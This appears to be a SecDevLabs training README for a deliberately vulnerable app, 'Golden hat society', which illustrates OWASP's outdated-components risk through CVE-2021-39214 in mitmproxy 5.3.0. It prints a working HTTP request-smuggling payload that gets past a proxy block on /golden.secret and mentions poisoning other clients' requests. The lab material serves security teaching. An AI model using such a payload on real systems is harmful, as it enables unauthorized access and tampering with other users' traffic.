Golden hat society is an application made with python that has a reverse proxy, mitmproxy, blocking the route /golden.secret that must be accessed only by whom is inside the docker VPN.
This vulnerability was #9 on OWASP top ten 2017 and made all the way up to #6 in 2021. Normally, softwares that contains incoming connections, are executed by exclusive users with restricted permissions. The reason why is that if someone exploits the application, then this attacker can't do much because of these permissions.
As softwares get bigger and bigger, we must use some libraries at some point, this means that those libs must be secure too. The main point of this vulnerability is to use a lib, framework and other modules vulnerable to an already known vulnerability (known by advisories).
The main goal of this app is to discuss how using vulnerable and outdated components can be exploited and to encourage developers to send secDevLabs Pull Requests on how they would mitigate these flaws.
To start this application:
cd secDevLabs/owasp-top10-2021-apps/a6/golden-hatmake installThen simply visit localhost:10006 ! 👻
To properly understand how this application works, you can follow these simple steps:
- Visit the homepage.
Now that you know the purpose of this app, what could possibly go wrong? The following section describes how an attacker could identify and eventually find sensitive information about the app or it's users. We encourage you to follow these steps and try to reproduce them on your own to better understand the attack vector! 😜
First time acessing the app:
Once we try reaching the /golden.secret we can see interesting headers:
As we can see this Via: mitmproxy/5.3.0 helps us with the recon. Now that we know what is running on the server we can search for CVEs on this version of mitmproxy. Once we found the CVE-2021-39214, we can make an exploit to this vulnerability.
Let's take a look on the mitmproxy source code, TAG 5.3.0 at file /mitmproxy/net/http/http1/read.py:L209:
if "chunked" in headers.get("transfer-encoding", "").lower():
return NoneAs we can see this piece of code is responsible for the vulnerability. Now that we know that the proxy proccess any request as chunked that contains the chunked keyword, we can craft an request that the proxy will understand as Transfer-Encoding chunked and the gunicorn backend will understand as Content-Length. This request can be sent on burp repeater (you must disable the option update content-length), telnet, netcat or any type of connection that allow to send texts over sockets.
GET /w HTTP/1.1
Host: 127.0.0.1:10006
Transfer-Encoding: chunkedasd
Content-Length: 4
35
GET /golden.secret HTTP/1.1
Host: 127.0.0.1:8000
0
GET / HTTP/1.1
Host: 127.0.0.1:10006
The first request forces a 404 error. The frontend(proxy) will parse the request as a normal request with body until the 0. The backend will process the first request until 35 and then will parse the request to /golden.secret poisoning the next socket. Then we just put a new alignment request at the end to poison a socket that we control.
After running this payload as a request we can see the secret page:
This vulnerability is interesting because you can poison other clients requests and smug them to do what you want!
How would you mitigate this vulnerability? After your changes, an attacker should not be able to:
- Bypass proxy rules.
[Spoiler alert 🚨 ] To understand how this vulnerability can be mitigated, check out these pull requests!
We encourage you to contribute to SecDevLabs! Please check out the Contributing to SecDevLabs section for guidelines on how to proceed! 🎉